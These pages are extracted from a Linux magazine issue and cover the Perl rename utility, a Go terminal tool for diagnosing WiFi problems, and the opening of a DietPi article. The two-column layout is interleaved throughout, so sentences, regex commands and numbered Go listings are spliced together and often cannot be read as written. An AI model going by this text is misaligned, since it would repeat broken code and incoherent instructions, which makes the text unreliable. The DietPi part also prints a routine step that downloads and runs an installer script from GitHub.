character in the search string must occur at the very beginning of the line. As expected, the caret must
generally be the first character in the search string.
$ (dollar sign) Matches the end of a line. As with the caret, this does not match any real character by itself and only in-
forms rename to consider the previous character a match if and only if the previous character is the last
character on the line. The dollar sign has another meaning if followed by a digit and/or if it appears in
the replacement expression instead of the search expression (see the entry below).
$1 thru $9 References a specific parenthesized part of the search expression. $1 references whatever was matched
by the sub-expression enclosed in the first pair of parentheses in the search expression, $2 references
the sub-expression in the second pair of parentheses, and so on. See the section “Using Back Refer-
ences” for more information.

54 OCTOBER 2023 ISSUE 275 [Link]

 IN-DEPTH
rename

s/// Options month, day, hour, minute, and second at

which the logfile was created, in that order
By adding one or more extra characters The other potentially useful option, i, en-
to the end of the s/// command, the be- ables case-insensitive searching. In other
– roughly the convention of ISO 8601, the
havior of the search-and-replace opera- words, rename does not care whether a international format for dates and times.
tion can be modified in various ways. character in the search string is upper- or But suppose I were European and I
Each option is a single character; multi- wanted the dates and times formatted in
lowercase; either type of character will
ple options may be specified by immedi- my local date convention, which is the
match either type of character in the file
ately following one option character by
name. By default, if a character in the day followed by the month and finally
another, such as s/dog/cat/g, s/\.html$/.
HTM/i, and s/recieve/receive/gi. search string is lowercase, the corre- the year. In addition, I want hyphens in-
sponding character in the file name must serted between each of the date compo-
While more than a dozen options are
supported, only two options are poten- also be lowercase in order for the search nents (day-month-year) and colons in-
tially useful to most users when renam- string to match. For example, without serted between each time component
ing files. The first, g, instructs rename to the i option, the search term \.html (hours:minutes:seconds), as in sys-
replace all occurrences of the search would match the file [Link], but not log_26-07-2022_[Link]. Listing 4 shows
string with the replacement string, not [Link] or [Link]. By contrast, what I want the file names to look like
just the first occurrence. The default is with the i option, the same search ex-
after renaming the files.
to replace only the first occurrence of pression would match all three files.
the search term; this is sufficient in Renaming the files in this manner is not
Even if all or part of the search expres-
most cases, but not if you want to re- possible using just the simple regular ex-
sion were capitalized, it would still work.
place all occurrences of, for example, pression syntax. For this purpose, you not
the word “affect” with “effect” in the For more information on the other op-
only need to search for specific parts of the
file name affect_of_the_affective_ini- tions not discussed here, see the Perl
file name, but also reference in the re-
tial_affect.txt. documentation [3].
placement string the matching text of each
of those parts. First, you need to search for
operation, such as disabling case-sensi- simply add or remove a fixed string to the year (a four-digit number) followed by
tive matching (see the “s/// Options” box each file name, as in the example of the the month (a two-digit number) followed
for details on the options supported by downloaded Wikipedia pages. by the day (another two-digit number) and
the s/// command.) However, sometimes it may be useful to then replace it with the third string found
rename files in more sophisticated ways. by the search (the day) followed by the
Using Back References In the following example, as shown in List- second string (the month) followed by the
Renaming files using simple search terms ing 3, I have a number of logfiles in a di- first string (the year).
and regular expressions is sufficient in rectory, all with dates and times in their Regular expressions provide a way to
most cases. Most of the time, it suffices to names. Each file name contains the year, reference parts of the search string in

Listing 3: Logfiles Names with Dates and Times Listing 4: Date and Time Logfiles After Renaming
$ ls -N $ ls -N

daemon_20200309_071842 daemon_09-03-2020_[Link]

messages_20211213_134327 messages_13-12-2021_[Link]

messages_20230402_093200 messages_02-04-2023_[Link]

syslog_20191013_233611 syslog_13-10-2019_[Link]

syslog_20220726_185603 syslog_26-07-2022_[Link]

Figure 3: A rename command that uses back references to rearrange the parts of a date string. The annota-
tions illustrate each parenthesized region that is referenced by each back reference in the replacement
expression.

[Link] ISSUE 275 OCTOBER 2023 55

IN-DEPTH
rename

the replacement string using back refer- s/([0-9]{2})([0-9]{2})([0-9]{2})$/U might have some niche uses (see the
ences. To use back references, the por- $1:$2:$3/' * “y/// Options” box).
tion of the search string to be refer-
enced must first be enclosed in paren- (Note the new line after the semicolon Moving Files Between
theses. Then the parenthesized part of character. While not necessary, it im- Directories
the search string may be back refer- proves the readability of the search ex- Another potential use of rename is to have
enced in the replacement string by in- pression; rename interprets it as a harm- each category of logfile placed in its own
serting a dollar sign ($) character fol- less whitespace character). directory. In Listing 4, I have several
lowed by an index number into the re-
placement string. Transliterating Characters y/// Options
The following rename command uses The y/// command transliterates text.
Like the s/// command, the y/// com-
back references to accomplish my first It looks for each character specified in mand accepts a few option characters;
task of reordering the components of the the command’s first parameter and re- each option alters the behavior of the
dates and also inserts hyphens between places any instance of that character y/// command in its own way. The y///
the components: with the corresponding character in the options are rarely useful, but two op-
second parameter. For example, to re- tions, c and d, might come in handy.
rename 's/([0-9]{4})([0-9]{2})U place any As with Zs and any Zs with As Both of these options are used in con-
([0-9]{2})/$3-$2-$1/' * in file names, use: nection with an intrinsic behavior of
y/// known as squashing: If the num-
Figure 3 illustrates which parts of the rename 'y/AZ/ZA/' * ber of characters on the replacement
search expression are referenced by each list is less than the number of charac-
ters on the search list, the last character
back reference. The arrows in the figure After executing this command, the file
on the replacement list is duplicated
point to the referenced parenthesized re- [Link] becomes [Link].
until the search and replacement lists
gions of the search expression. While the y/// command is case-sensi-
are equal in length. For example,
tive like s///, the y/// command does
Combining Multiple not have an option switch to enable y/[A-Z]/x/

Operations case-insensitivity (see the “s/// Options” is equivalent to:

As shown in Figure 3, the preceding ex- box for more information). Thus, the y/[A-Z]/xxxxxxxxxxxxxxxxxxxxxxxxxx/
ample only reformatted the dates. I still above y/// command will replace ZA-
Both expressions will replace any up-
need to insert the colons between each [Link] but not [Link]. Further-
percase letter with a lowercase x char-
time component. Again, I can use back more, it will change [Link] to acter. The first, however, is much more
references, as follows: [Link], but not to [Link] as you compact and easier to read.
may expect. To do that, you would need
One potentially useful option, c, in-
rename 's/([0-9]{2})([0-9]{2})U to change the command to: structs y/// to complement the list of
([0-9]{2})$/$1:$2:$3/' * characters on the search list and re-
rename 'y/AZaz/ZAza/' * place any character that is not present
This command certainly works, but what on the list. When combined with
if I want to use one single rename com- One common use of y/// is to convert squashing, this can be used to change
mand to do both the date and time ma- uppercase file names to lowercase, or forbidden characters not explicitly on
nipulation instead of running two sepa- vice versa, which is useful for old MS- the search list to one particular place-
holder character. For instance, if you
rate rename commands in sequence? Cer- DOS or early Windows files that saved
have files with unprintable characters
tainly, I could combine the two search ex- files in all uppercase characters. You can
in their names (*nix/Linux filesystems
pressions into one very long search ex- implement such transliteration by speci- can handle most non-printable charac-
pression, but this quickly becomes cum- fying the entire alphabet in the com- ters in file names), you can quickly
bersome and very difficult to read: mand explicitly, but doing so is cumber- clean up the file names by replacing all
some because that would require typing non-alphabetic, non-numeric, non-un-
rename 's/([0-9]{4})([0-9]{2})U out at least 52 letters: the 26 uppercase derscore/hyphen characters in the file
([0-9]{2})_([0-9]{2})([0-9]{2})U letters in the search expression, and the names with dot (.) characters, as in:
([0-9]{2})$/$3-$2-$1_$4:$5:$6/' * 26 lowercase letters in the replacement y/[A-Z][a-z][0-9]_-/./c
expression. Instead, you can specify
Another potentially useful option, d,
Fortunately, it is possible to perform ranges of characters in the search expres- disables squashing and deletes any
both tasks using one command but keep sion, as in y/[A-Z]/[a-z]/ (to replace up- character on the end of the replace-
the tasks logically separated. If each ex- percase characters with their lowercase ment list that has no corresponding
pression is separated by a semicolon equivalents). character on the search list. Thus, y/_.
character, rename can execute two or Like the s/// command, the y/// com- [A-Z]/_.[a-d]/d will convert the file
more expressions in one command: mand accepts one or more options fol- name DOC_1993.BAK into dc_.ba.
lowing the final slash of the command. While this example is contrived, it is
the nature of an option switch with lim-
rename 's/([0-9]{4})([0-9]{2})U None of these options are likely to be
ited practical utility.
([0-9]{2})/$3-$2-$1/; useful for general purposes, but c and d

56 OCTOBER 2023 ISSUE 275 [Link]

 IN-DEPTH
rename

dated logfiles named daemon, syslog, and separated from the Listing 5: Separating into Subdirectories by Name
messages. While I currently only have five date by an under- $ ls -FNR
logfiles in that directory, I could eventu- score. I then use a .:
ally end up with hundreds or even thou- back reference fol- daemon/ messages/ syslog/
sands of logfiles to manage. Conse- lowed by a slash
quently, I want to move each type of log- in the replacement ./daemon:
file into its own directory (e.g., I want expression to tell 09-03-2020_[Link]
syslog_13-10-2019_[Link] to be moved rename to move the
into a directory called syslog). Ideally, I file into a direc-
./messages:
would also like the initial part of the log- tory named after
02-04-2023_[Link] 13-12-2021_[Link]
file’s name to be removed because the whatever was
containing directory’s name should make matched by the
./syslog:
clear the type of logfile. Listing 5 shows aforementioned
13-10-2019_[Link] 26-07-2022_[Link]
the desired resulting directory tree. parenthesized
Fortunately, rename can move files just expression.
as easily as it can rename them. In fact, it Note how I escaped the slash charac- All of these jobs and more can be per-
can do both in the same step. Obviously, I ter (as in \/) to guarantee that rename formed with rename. Furthermore, several
want to do both simultaneously in this does not mistake the slash as the end of jobs can be combined into one command
case, because I want to move the file and the replacement expression. Remember, for even more power and flexibility.
then remove the first part of the file name. the search and replacement expressions, This article has covered a number of
Unfortunately, to move a file to another as well as any options to the s/// com- examples to showcase the major features
directory, rename requires that the destina- mand, are separated by slash characters, of rename, but I have only scratched the
tion directory already exist; rename will just like file-name components are sepa- surface in terms of what can be done
not create the directory for you. Prior to rated by slashes. Actually, I could have with the command. Hopefully, you will
running rename, you will have to pre-cre- used virtually any character to separate be inspired to come up with your own
ate all the necessary directories. I used the parts of the s/// command; while rename commands. Q Q Q
the following shell one-liner to create the using slashes is the common convention,
directories before running rename: I also could have used at signs (@) in the Info
rename command above, or in any of the [1] Thunar:
find . -maxdepth 1 -type f -printf U previous s/// commands. The following [Link]
'%f\0' | grep -Eoz '^[^_]+' | U would have worked just as well:
xargs -0 mkdir
[2] rename: [Link]
rename 's@^([^_]+)_@$1/@' * File-Rename
This one-liner lists all files immediately [3] Perl expressions:
under the current directory – not any By using a character other than the slash [Link]
files under subdirectories – and then to separate the parts of the s/// com-
Regexp-Quote-Like-Operators
takes the part of the file name up to the mand, I no longer have to escape the
first underscore (e.g., messages), and slash in the replacement expression that [4] Regular expression syntax:
creates a new directory in the current denotes part of a directory path. In my [Link]
directory named after the first part of opinion, this makes the command a bit Regular-Expressions
the file name. easier to read. Just make sure that the
Now, to move each logfile and then character that you choose appears nei- Author
remove the initial part of each file ther in the search or replacement expres- Michael Williams, better known by his
name, I use: sion (or is escaped where it appears). pseudonym Gordon Squash, is a free-
lance, open source software developer. He
rename 's/^([^_]+)_/$1\//' * Conclusion is a member of the Core Developers Team
Once you understand its syntax and use, of the MATE Desktop Environment project
([Link] enjoys hack-
There are several things to note here. the rename command is an efficient and
ing anything related to the GTK+ GUI wid-
The first is that I instructed rename to very powerful utility for virtually any
get toolkit, and works toward developing a
search for any length of string at the very bulk renaming job you have in mind – fork of GTK+ called STLWRT (https://
beginning of the file name that does not from converting file names to title case, to [Link]/thesquash/stlwrt) when time
contain an underscore (the ^([^_]+) in moving files into different directories, to permits. You can see some of his other
the search expression). This takes ad- changing month numbers into month current projects on his personal GitHub
vantage of the fact that the logfile type is names (e.g., 2015-02-17 into 2015-Feb-17). page ([Link]

QQQ

[Link] ISSUE 275 OCTOBER 2023 57

IN-DEPTH
Programming Snapshot – Go Network Diagnostics

Network diagnostics with Go

Dr. Wireless
Why is the WiFi not working? Instead of always typing the same
steps to diagnose the problem, Mike Schilli writes a tool in Go that
puts the wireless network through its paces and helps isolate the
cause. By Mike Schilli

I
magine you’ve just arrived at your results, and hopefully zeroes in on the results (Figure 1). If the tests fail, the
vacation resort, and the WiFi isn’t root cause? program shows you helpful error mes-
working. Is the router’s DHCP I will use the tview [1] library from sages to narrow down the cause (Fig-
server failing to assign an IP ad- GitHub as the terminal user interface ure 2). Pressing Ctrl+C terminates the
dress to your laptop? Is it DNS? Or is it (UI) for my wifi diagnostic tool. After wifi tool, switches the terminal back to
just that the throughput is so poor that all, some well-known projects, such as normal mode, and lets it jump back to
everything seems to be stalling? Kubernetes, also use it for their com- the shell prompt.
You can diagnose all of these issues by mand-line tools. With just a few lines
running various command-line tools, but of code, tview switches the current ter- Parallel Test
it is tedious and annoying to have to re- minal to raw mode and displays simple The first two tests run by wifi send ping
peat the procedure every time. How graphical elements such as tables or requests to the Google server; both to
about a tool that repeatedly runs these forms in a retro white on black back- the hostname [Link] and to
steps at regular intervals, visualizes the ground style0 (Figure 1). It accepts the IP address of Google’s well-known
keyboard input in raw mode, and ap- DNS server ([Link]). If both tests fail,
Author plications can use it to control actions the connection to the Internet is proba-
Mike Schilli works as a on the interface. bly completely severed. However, if only
software engineer in the Called at the command line, the read- the host is not found, but the IP ping
San Francisco Bay Area, ily compiled Go program wifi from the succeeds, the problem is more likely re-
California. Each month source code in this article [2] runs four lated to DNS settings.
in his column, which has different tests simultaneously and dis- In the third test, labeled Ifconfig, wifi
been running since 1997, plays the results in a table. Every 10 sec- searches for all client IP addresses as-
he researches practical applications of onds, it runs the tests again and thus dy- signed to the computer by the network’s
various programming languages. If you namically reflects what is changing in DHCP server. If the test finds nothing,
email him at mschilli@[Link] the network. If everything is working as the router or the WLAN connection is
he will gladly answer any questions. desired, the tool displays the measured probably to blame. In the fourth test, the
Lead Image © Ewa Walicka, [Link]

Figure 1: The diagnostic wifi tool shows a working network.

58 OCTOBER 2023 ISSUE 275 [Link]

 IN-DEPTH
Programming Snapshot – Go Network Diagnostics

Figure 2: In case of a network problem, wifi helps to isolate the cause.

tool sends an HTTP request to the You- keeps it running in the background, but away neatly, freeing up the terminal for
Tube server; if successful, it displays the it also creates a channel that it passes the shell again.
round-trip time in milliseconds. This test back to the caller. The current stopwatch
can diagnose a lame Internet service readings then arrive as formatted strings Tick-Tock
provider (ISP). via this channel every second, and the The actual stopwatch is implemented
caller picks them up to update the by Listing 2 with the clock() function,
Getting Close graphical display. which accepts an optional string argu-
As an example of what the tview library In the main program, the goroutine ment. The stopwatch doesn’t actually
can do, Listing 1 implements a running starting in line 14 concurrently uses a use this, but I want the function’s in-
stopwatch. Its current time arrives every select statement to intercept incoming terface to be able to handle more com-
second as a string via a Go channel. It is strings from the channel in an infinite plex actions for the UI later. That is
then dynamically refreshed in a TextView loop starting in line 15. As soon as a new why the code implements the function
type widget in the terminal interface. value arrives in line 17, the program no- as a variadic function. In Go, the three
To do this, the code pulls in the tview tifies the terminal UI by calling app. dots between the name of the parame-
framework from GitHub in line 5. Line 9 QueueUpdateDraw() and tells the frame- ter and its type (arg and string in this
creates a new terminal application and work to first clear the clock display with case) indicate that you can either call
stores a reference to it in the app vari- [Link]() before calling Fprintf() to the function entirely without argu-
able. The TextView widget is used as the write the new, current value to the Text- ments or with one or more arguments
clock’s window content: This is stored in View widget. of the specified type.
the tv variable and is shown with a bor- This completes setting up the UI’s In line 8, clock() creates the channel,
der in the terminal because of the graphical elements. All that remains is to which the function later passes back to
SetBorder(true) setting. SetTitle() adds inject the TextView widget into the appli- the main program, to hook it up for peri-
a header. cation window by calling [Link]() odic clock updates.
The call to the clock() function in in line 26 and to start the UI with Run(). Listing 2 uses an interesting trick to
line 12 starts the actual stopwatch. The It keeps running from this moment on display the time elapsed since the start
function not only triggers the timer and (Figure 3). If you press Ctrl+C, it folds time in hours, minutes, and seconds:

Listing 1: [Link]
01 package main 16 select {

02 17 case val := <-ch:

03 import ( 18 [Link](func() {

04 "fmt" 19 [Link]()

05 "[Link]/rivo/tview" 20 [Link](tv, "%s ", val)

06 ) 21 })

07 22 }

08 func main() { 23 }

09 app := [Link]() 24 }()

10 tv := [Link]() 25

11 [Link](true).SetTitle("Test Clock") 26 err := [Link](tv, true).Run()

12 ch := clock() 27 if err != nil {

13 28 panic(err)

14 go func() { 29 }

15 for { 30 }

[Link] ISSUE 275 OCTOBER 2023 59

IN-DEPTH
Programming Snapshot – Go Network Diagnostics

library requires at least Go 1.18. If you

are still running an older version, you
need to upgrade beforehand.

No Longer Toy-Sized
Moving on from the stopwatch example,
the actual application checks the net-
work in the background and periodically
refreshes the results of all tests in the
graphical interface.
The program compiled from Listing 4
goes by the name of wifi, but it can be
applied to wired networks in exactly the
same way. To display the test results, it
uses the tview project’s table widget in
line 10. A total of five rows, each with
two columns, contain a description of
Figure 3: A stopwatch built with tview. the test on the left and the dynamically
refreshed result on the right (see Fig-
Listing 2: [Link] of hours, minutes, ures 1 and 2).
01 package main
and seconds as When defining the window and table
02
numeric place- decorations, you need to look carefully.
holders. Other The table widget has a SetBorders()
03 import (
programming lan- function that determines whether or not
04 "time"
guages specify the table draws row and column lines.
05 )
such a format On the other hand, line 11 calls SetBor-
06
using a template der() (singular). SetBorder() does not
07 func clock(arg ...string) chan string {
string like refer to the table, but instead to the box
08 ch := make(chan string)
HH:MM:SS. Go, on (a container) in which the table is lo-
09 start := [Link]() the other hand, cated. The call draws a border around
10 chooses the the application, along with a headline at
11 go func() { strange approach the top.
12 for { of using the magic
13 z := [Link](0, 0).UTC() time at [Link] Lumped Together
14 ch <- [Link]([Link](start)).Format("[Link]") on Monday, Each table row is now assigned a test
15 [Link](1 * [Link]) 2/1/2006 as a ref- program. The ticking clock ends up in
16 }
erence [3]. the first row, the two network pings in
17 }()
Line 14 pushes rows 2 and 3, the display of the local IPs
the current state in row 4, and the HTTP request to the
18
of the stopwatch YouTube server in row 5. The newPlu-
19 return ch
as a formatted gin() function integrates these plugins
20 }
string into the ch with the table rows. The calls are each
channel. The call- given a pointer to the application and its
The [Link]() function in line 14 ob- ing main program listens at the other table in lines 13 to 17. And there are two
tains the time elapsed since the start end of the channel and keeps refreshing more parameters: a description of each
time in start as a value of the [Link]- its screen display with the incoming test as a string and a function that exe-
tion type. However, Go does not provide information. cutes the test.
elegant formatting as a string for this To generate the binary from the source As you can see from the signature of
type. The [Link] type for absolute code, the three commands from Listing 3 newPlugin() in line 25, the function ex-
time values, on the other hand, supports retrieve the code of the dependent librar- pects the test function fu passed to it to
the Format() function, which formats the ies from GitHub, compile the whole en- be in an interesting format. To accom-
internal time format in a human-read- chilada, and finally generate a modate all applications, the test function
able way. To get free formatting for the clock-main binary. If you start the result accepts a variable number of string
Duration type, Listing 2 simply converts at the command line, the terminal is
it to absolute time by adding it to the be- painted black and the stopwatch is Listing 3: [Link]
ginning of time at zero Unix seconds. drawn, ticking away the moments that go mod init clock-main
In case you are wondering about the make up a dull day, refreshing dynami-
go mod tidy
strange string [Link] as an argument cally every second, inside a framed box
go build [Link] [Link]
for the formatter: Go expects the format (Figure 3). But be careful: The tview

60 OCTOBER 2023 ISSUE 275 [Link]

 IN-DEPTH
Programming Snapshot – Go Network Diagnostics

Listing 4: [Link]
01 package main 25 func newPlugin(app *[Link], table *[Link],

02 26 field string, fu func(...string) chan string, arg ...string) {

03 import ( 27 if len(arg) > 0 {

04 "strings"
28 field += " " + [Link](arg, " ")
05 "[Link]/rivo/tview"
29 }
06 )
30
07
31 row := [Link]()
08 func main() {
32 [Link](row, 0, [Link](field))
09 app := [Link]()
33
10 table := [Link]().SetBorders(true)

11 [Link](true).SetTitle("Wifi Monitor v1.0") 34 ch := fu(arg...)

12 35

13 newPlugin(app, table, "Time", clock) 36 go func() {

14 newPlugin(app, table, "Ping", ping, "[Link]") 37 for {

15 newPlugin(app, table, "Ping", ping, "[Link]")
38 select {
16 newPlugin(app, table, "Ifconfig", nifs)
39 case val := <-ch:
17 newPlugin(app, table, "HTTP", httpGet, "[Link]
40 [Link](func() {
18
41 [Link](row, 1, [Link](val))
19 err := [Link](table, true).SetFocus(table).Run()
42 })
20 if err != nil {
43 }
21 panic(err)

22 } 44 }

23 } 45 }()

24 46 }

arguments (...string) and returns a Ding-Dong in the following line jumps to the next
channel where the caller can later fetch I now need to integrate the new network iteration of the infinite for loop start-
results of the string type. Listing 2 has tests into the table. Each test consists of ing in line 14 and tries again.
already provided an example of this type a function that accepts an optional string
of test function: clock() creates a stop- argument and returns a channel. It starts First Round
watch whose current timestamp the the test task assigned to it and keeps it On first entering the loop, the firstTime
table now displays every second in its running while returning the results to variable is set to true. Line 25 then re-
first row. the caller via the channel. turns the Pinging ... string to the caller
To associate the test function with the Listing 5 uses the ping() function to via the ch channel, informing the caller
next available table row, line 32 appends ping servers or their IP addresses; it ex- that the test is still in progress. The Run()
a new row to the table for each call. pects either a hostname or an IP address function in line 30 executes three pings
Then line 34 calls the test function, as an argument. It returns a channel to to the network target specified in line 15
which in turn returns a channel and the caller, which it keeps populating and blocks the program flow as long as
keeps its network test running in the with ping results. the operation is running. If an error oc-
background for all eternity. To intercept With a similar interface as the com- curs, line 33 forwards it to the caller via
the results for the individual test, line 36 mand-line ping utility, Listing 5 uses the channel, and – after a 10-second
starts a new concurrent goroutine with the pro-bing package from GitHub to pause – continue in line 35 starts the
an infinite loop that uses a select state- send ICMP packets to the specified ad- next round.
ment to listen on the channel. When a dress. The package is fetched from If there is a response to the ICMP pack-
string arrives, line 41 uses [Link] GitHub in line 5. The new pinger in- ets sent, the network is obviously fine.
to refresh the contents of the assigned stance created in line 15 sets a timeout The call to Statistics() in line 38 then
table field. of 10 seconds in line 16. When the retrieves the statistical data for the com-
In order for the content of the updated timer for a request expires, the pinger pleted tests. The response times of each
graphical elements to actually appear on assumes that something went wrong ping request are stored in [Link] as
the screen, I need to forward the instruc- and the server cannot be reached. An- an array slice of seconds in floating-point
tion to the GUI manager. This is done by other cause for a failure could be a format. Line 39 unceremoniously bundles
the [Link]() function, problem with the name resolution for all three values into a string with the %v
which tells the GUI to redraw the table the server. Line 33 will inject an error placeholder in the format string, and the
field when it gets around to it during the message into the channel. Line 34 then same line immediately pushes this into
next refresh. waits for 10 seconds, and then continue the channel. The caller at the other end

[Link] ISSUE 275 OCTOBER 2023 61

IN-DEPTH
Programming Snapshot – Go Network Diagnostics

Listing 5: [Link]
01 package main 23

02 24 if firstTime {

03 import ( 25 ch <- "Pinging ..."

04 "fmt" 26 firstTime = false

05 "[Link]/prometheus-community/pro-bing" 27 }

06 "time" 28

07 ) 29 [Link] = 3

08 30 err = [Link]()

09 func ping(addr ...string) chan string { 31

10 ch := make(chan string) 32 if err != nil {

11 firstTime := true 33 ch <- [Link]()

12 34 [Link](10 * [Link])

13 go func() { 35 continue

14 for { 36 }

15 pinger, err := [Link](addr[0]) 37

16 [Link], _ = [Link]("10s") 38 stats := [Link]()

17 39 ch <- [Link]("%v ", [Link])

18 if err != nil { 40 [Link](10 * [Link])

19 ch <- [Link]() 41 }

20 [Link](10 * [Link]) 42 }()

21 continue 43 return ch

22 } 44 }

Listing 6: [Link]
01 package main 30

02 31 func ifconfig() ([]string, error) {

03 import ( 32 var list []string

04 "net" 33 ifaces, err := [Link]()

05 "sort" 34 if err != nil {

06 "strings" 35 return list, err

07 "time" 36 }

08 ) 37

09 38 for _, iface := range ifaces {

10 func nifs(arg ...string) chan string { 39 addrs, err := [Link]()

11 ch := make(chan string) 40 if err != nil {

12 41 return list, err

13 go func() { 42 }

14 for { 43

15 eths, err := ifconfig() 44 if len(addrs) == 0 {

16 45 continue

17 if err != nil { 46 }

18 ch <- [Link]() 47

19 [Link](10 * [Link]) 48 for _, addr := range addrs {

20 continue 49 ip := [Link]([Link](), "/")[0]

21 } 50 if [Link](ip).To4() != nil {

22 51 list = append(list, [Link]+" "+ip)

23 ch <- [Link](eths, ", ") 52 }

24 [Link](10 * [Link]) 53 }

25 } 54 }

26 }() 55

27 56 [Link](list)

28 return ch 57 return list, nil

29 } 58 }

62 OCTOBER 2023 ISSUE 275 [Link]

 IN-DEPTH
Programming Snapshot – Go Network Diagnostics

grabs the values and displays them in the on the network interfaces assigned by the IP addresses, and you need to verify
graphical interface. the operating system. your DHCP settings.
The net package from the Go standard
Connection OK? library offers the Interfaces() function, Full Round Trip
When a WiFi client connects to the which returns all of the computer’s net- Finally, Listing 7 provides an end-to-end
router, it is assigned an IP address, work interfaces in line 33. For a laptop test by loading the YouTube title page off
which it can display with commands on a WiFi network, there are usually two the web. If this test also works, every-
like ifconfig. When you’re trouble- interfaces: the WiFi adapter and the thing should be fine. Because it also
shooting, it helps to know if that loopback interface. If your system is measures the time taken to retrieve the
worked. This is why the plugin from wired to the network, there are often page in seconds in the last line of the UI,
Listing 6 searches for local IP addresses more. Each of these interfaces, if con- you can guesstimate the speed of the ISP
nected, now has one connection. Figure 1 shows that the page
Listing 7: [Link] or more IP addresses. was loaded after 0.142 seconds in the
01 package main
Addrs() in line 39 test – perfect.
02
fetches them; the for To obtain this number, Listing 7 in line
loop starting in line 48 21 uses the Get() function to send an
03 import (
checks them. HTTP request; the function then blocks
04 "fmt"
Hardly anyone in the until the data arrives or the server re-
05 "net/http"
US has IPv6 addresses turns an error. If the display in the table
06 "time"
at home. For this rea- column gets stuck at Fetching ..., then
07 )
son, line 50 filters out something is wrong with the connection.
08
anything that doesn’t In that case, the other tests should give
09 func httpGet(arg ...string) chan string { look like IPv4 before you some clues to the cause. On the
10 ch := make(chan string) appending the interface other hand, if the hostname resolution
11 name (e.g., en0) and the fails due to incorrect DNS configuration,
12 firstTime := true IP address (without the line 23 pushes the error message into the
13 go func() { subnet suffix) to the provided channel, where the main pro-
14 for { list array slice. Line 56 gram picks it up to show you the results.
15 if firstTime { sorts all of them alpha- If everything is working, line 28 mea-
16 ch <- "Fetching ..."
betically, while line 57 sures how long the process took. To do
17 firstTime = false
returns it to the caller of this, it subtracts the start time of the re-
the ifconfig() function quest set in line 20 from the current time
18 }
in line 15. and pushes the resulting duration in sec-
19
The plugin works onds into the channel as a floating-point
20 now := [Link]()
like all the others. Re- number. The value then appears with an
21 _, err := [Link](arg[0])
sults such as error mes- OK message in the table column.
22 if err != nil {
sages or successfully The three commands in Listing 8 cre-
23 ch <- [Link]()
obtained IP address ate the wifi binary from the source code
24 [Link](10 * [Link]) lists are fed into the of the main program (Listing 4), the test
25 continue channel as comma-sep- plugins (Listings 5 to 7), the clock (List-
26 } arated strings, and the ing 1), and the GitHub packages and
27 main program fields their dependencies. Calling the wifi bi-
28 dur := [Link](now) and displays incoming nary starts the terminal UI and shows
29 ch <- [Link]("%.3f OK ", [Link]()) messages in the as- the network status. If needed, you can
30 [Link](10 * [Link]) signed table column. If add DIY plugins following the same ap-
31 }
there is an entry in the proach and display them in additional
32 }()
Ifconfig line of the ter- table rows. Q Q Q
minal UI in the private
33
IP range of 192.168.0.x, Info
34 return ch
then – obviously – the [1] tview:
35 }
connection to the [Link]
router is working. If, on [2] Source code for this article:
Listing 8: [Link] the other hand, only [Link]
$ go mod init wifi
the loopback interface s/5Rzx9tQW2FJ6N3Z
appears in the column, [3] Formatting date and time statements
$ go mod tidy
something is wrong in Go:
$ go build [Link] [Link] [Link] [Link] [Link]
with the assignment of [Link]

QQQ

[Link] ISSUE 275 OCTOBER 2023 63

MAKERSPACE DietPi

MakerSpace
DietPi lean server distribution

Going Lean
The DietPi minimalist distribution improves the performance
of the Raspberry Pi and other single-board computers as
servers and desktops and comes with more than 200
specially chosen applications and services.
By Ferdinand Thommes

S
ince the first appearance of servers, older Raspberry Pis, and virtual
the Raspberry Pi more than 10 machines. Thanks to carefully consid-
years ago, many hardware ered scripts, the set up is a convenient
vendors have followed the process.
idea of an inexpensive computing pow-
erhouse on a small board. Companies From Debian

Lead Photo by Patricia Serna on Unsplash

such as Asus, Odroid, and Pine64 all DietPi first entered the digital world in
jumped on the single-board computer 2014. The purist operating system was
(SBC) bandwagon, naturally increasing initially built on Raspbian (today’s Rasp-
the number of operating systems (OSs) berry Pi OS). It now builds directly on
for these boards. Most of the OSs are Debian and supports numerous SBCs
based on the ARM architecture and can and architectures. In addition to x86_64,
now be found in various sectors of ARMv6, ARMv7, AArch64, and RISC-V,
home computing and industrial the project supports virtual machines
applications. such as VMware/ESXi, VirtualBox, Hy-
The Debian-based Raspberry Pi OS is a per-V, Parallels, UTM, and Proxmox.
very useful desk-
top replacement,
and many Linux
distributions offer
their own off-
shoots for the
Raspberry Pi. For
example, Libre-
ELEC is a media
center, and gam-
ers will enjoy Ret-
roPie and Batoc-
era. The lean,
minimalistic Di- Figure 1: After the install, DietPi tells you which IP
etPi is a great address it is using, and you can then open a
choice for small connection with SSH.

64 OCTOBER 2023 ISSUE 275 [Link]

 DietPi MAKERSPACE

Figure 2: DietPi prompts you to change the default passwords.

Figure 3: DietPi-Config provides options for regional settings, audio, security, autostart, and network.

Besides images for virtual machines, you task at hand. The images for both tests Rufus [3]. If you are on Proxmox, you
will find images for the Raspberry Pi, were sourced from the project’s down- can install DietPi manually or run a
Odroid, Pine64, Radxa, Allo, Asus, load page [2]: Just unzip the 7-Zip ar- script.
NanoPi, Orange Pi, and the VisionFive chives on Linux with the 7z tool. On To download the installer script from
RISC-V board [1]. Windows, the package name is 7-Zip for GitHub, make it executable, and run it,
The distribution mainly targets head- Windows, and The Unarchiver does the use:
less server applications (i.e., applications same job on macOS.
that do not require a display). However, $ wget U
if required, you can set up an X11 graphi- From an SD Card [Link]

cal user interface (GUI). In total, DietPi The procedure for the Raspberry Pi and dazeb/proxmox-dietpi-installer/U

comes with more than 200 thoughtfully other SBCs that boot the operating sys- main/[Link]

chosen applications for installation in its tem from an SD card is probably famil- $ chmod +x [Link]

package repository. iar to most readers. To begin, you un- $ ./[Link]

I tested DietPi on a Raspberry Pi and pack the image from the archive and
on a virtual machine running on Prox- transfer it to the SD card. On Linux, for The script prompts with some default
mox, which is recommended if the com- example, you can use BalenaEtcher, settings you can adopt. The only input
pute power of an SBC is not up to the whereas a good choice on Windows is required is the name of the instance,
which will normally be local. When
done, you just need to start the virtual
machine created by the script.
For the Raspberry Pi, insert the SD
card and connect the device to a power
source. The first boot process takes lon-
ger than later boots because of basic set-
up steps and the automatic resizing of
the root filesystem. Depending on the
hardware, this process could take a few
minutes (Figure 1).

Display or SSH
For a first start, I recommend connect-
Figure 4: The DietPi-Software module lets you access the DietPi ing a display. After that, you can access
software. the system with the Dropbear SSH

[Link] ISSUE 275 OCTOBER 2023 65

MAKERSPACE DietPi

server, which is enabled by default. If and installs them; again, this step canthe DietPi configuration, documentation,
no display is available, you can discover take some time to complete. SSH server, and log system. Most impor-
